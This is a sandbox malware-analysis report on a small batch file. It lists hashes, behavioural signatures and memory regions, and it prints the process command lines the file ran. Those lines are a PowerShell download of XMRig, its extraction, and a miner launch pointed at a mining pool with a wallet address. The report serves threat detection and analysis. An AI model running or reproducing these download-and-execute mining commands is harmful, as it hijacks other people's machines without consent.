Analysis

  • max time kernel
    1791s
  • max time network
    1783s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31-12-2023 14:43

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4784
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3000
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1840

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    94cc13e0461177a102c1e005d1e17e59

    SHA1

    5bcd5d4c227c32f7aff561721fbd91c84735276f

    SHA256

    77c5338d6b3511593ed0a1df6c40afbdafa99eaff6725e553156d019cf9515ff

    SHA512

    34a02c21d3adee83a62c9d4de53169070e995248140749e63b738222375b443a5cb59a49b0bce5db20158b8e8afa6cd14e542cc14af576c6c20c801dc4debcb2

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0h5wf1t4.lgq.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    e2fe87cc2c7dab8ca6516620dccd1381

    SHA1

    f714ec0448325435103519452610cf7aadf8bbba

    SHA256

    d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

    SHA512

    8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

  • memory/1840-142-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-129-0x0000026BBA010000-0x0000026BBA030000-memory.dmp

    Filesize

    128KB

  • memory/1840-188-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-187-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-186-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-185-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-184-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-183-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-182-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-181-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-180-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-179-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-178-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-177-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-176-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-175-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-120-0x0000026BB8540000-0x0000026BB8560000-memory.dmp

    Filesize

    128KB

  • memory/1840-146-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-174-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-121-0x0000026BB8810000-0x0000026BB8830000-memory.dmp

    Filesize

    128KB

  • memory/1840-122-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-123-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-125-0x0000026BBA010000-0x0000026BBA030000-memory.dmp

    Filesize

    128KB

  • memory/1840-124-0x0000026BB8830000-0x0000026BB8850000-memory.dmp

    Filesize

    128KB

  • memory/1840-126-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-127-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-145-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-128-0x0000026BB8830000-0x0000026BB8850000-memory.dmp

    Filesize

    128KB

  • memory/1840-130-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-131-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-132-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-133-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-134-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-135-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-136-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-137-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-138-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-139-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-140-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-141-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-173-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-143-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-154-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-172-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-171-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-147-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-148-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-149-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-150-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-151-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-152-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-153-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-144-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-155-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-156-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-157-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-158-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-159-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-160-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-161-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-162-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-163-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-164-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-165-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-166-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-167-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-168-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-169-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/1840-170-0x00007FF664420000-0x00007FF664F23000-memory.dmp

    Filesize

    11.0MB

  • memory/3000-41-0x0000019FB35A0000-0x0000019FB35B0000-memory.dmp

    Filesize

    64KB

  • memory/3000-66-0x0000019FB35A0000-0x0000019FB35B0000-memory.dmp

    Filesize

    64KB

  • memory/3000-42-0x0000019FB35A0000-0x0000019FB35B0000-memory.dmp

    Filesize

    64KB

  • memory/3000-117-0x00007FFC71570000-0x00007FFC71F5C000-memory.dmp

    Filesize

    9.9MB

  • memory/3000-80-0x0000019FB38D0000-0x0000019FB38E2000-memory.dmp

    Filesize

    72KB

  • memory/3000-93-0x0000019FB36D0000-0x0000019FB36DA000-memory.dmp

    Filesize

    40KB

  • memory/3000-40-0x00007FFC71570000-0x00007FFC71F5C000-memory.dmp

    Filesize

    9.9MB

  • memory/4784-6-0x00007FFC71570000-0x00007FFC71F5C000-memory.dmp

    Filesize

    9.9MB

  • memory/4784-8-0x000001D56AA60000-0x000001D56AA70000-memory.dmp

    Filesize

    64KB

  • memory/4784-7-0x000001D56AA60000-0x000001D56AA70000-memory.dmp

    Filesize

    64KB

  • memory/4784-10-0x000001D56AD70000-0x000001D56ADE6000-memory.dmp

    Filesize

    472KB

  • memory/4784-4-0x000001D56AA20000-0x000001D56AA42000-memory.dmp

    Filesize

    136KB

  • memory/4784-25-0x000001D56AA60000-0x000001D56AA70000-memory.dmp

    Filesize

    64KB

  • memory/4784-29-0x000001D56AA60000-0x000001D56AA70000-memory.dmp

    Filesize

    64KB

  • memory/4784-26-0x00007FFC71570000-0x00007FFC71F5C000-memory.dmp

    Filesize

    9.9MB

  • memory/4784-27-0x000001D56AA60000-0x000001D56AA70000-memory.dmp

    Filesize

    64KB

  • memory/4784-28-0x000001D56AA60000-0x000001D56AA70000-memory.dmp

    Filesize

    64KB

  • memory/4784-34-0x00007FFC71570000-0x00007FFC71F5C000-memory.dmp

    Filesize

    9.9MB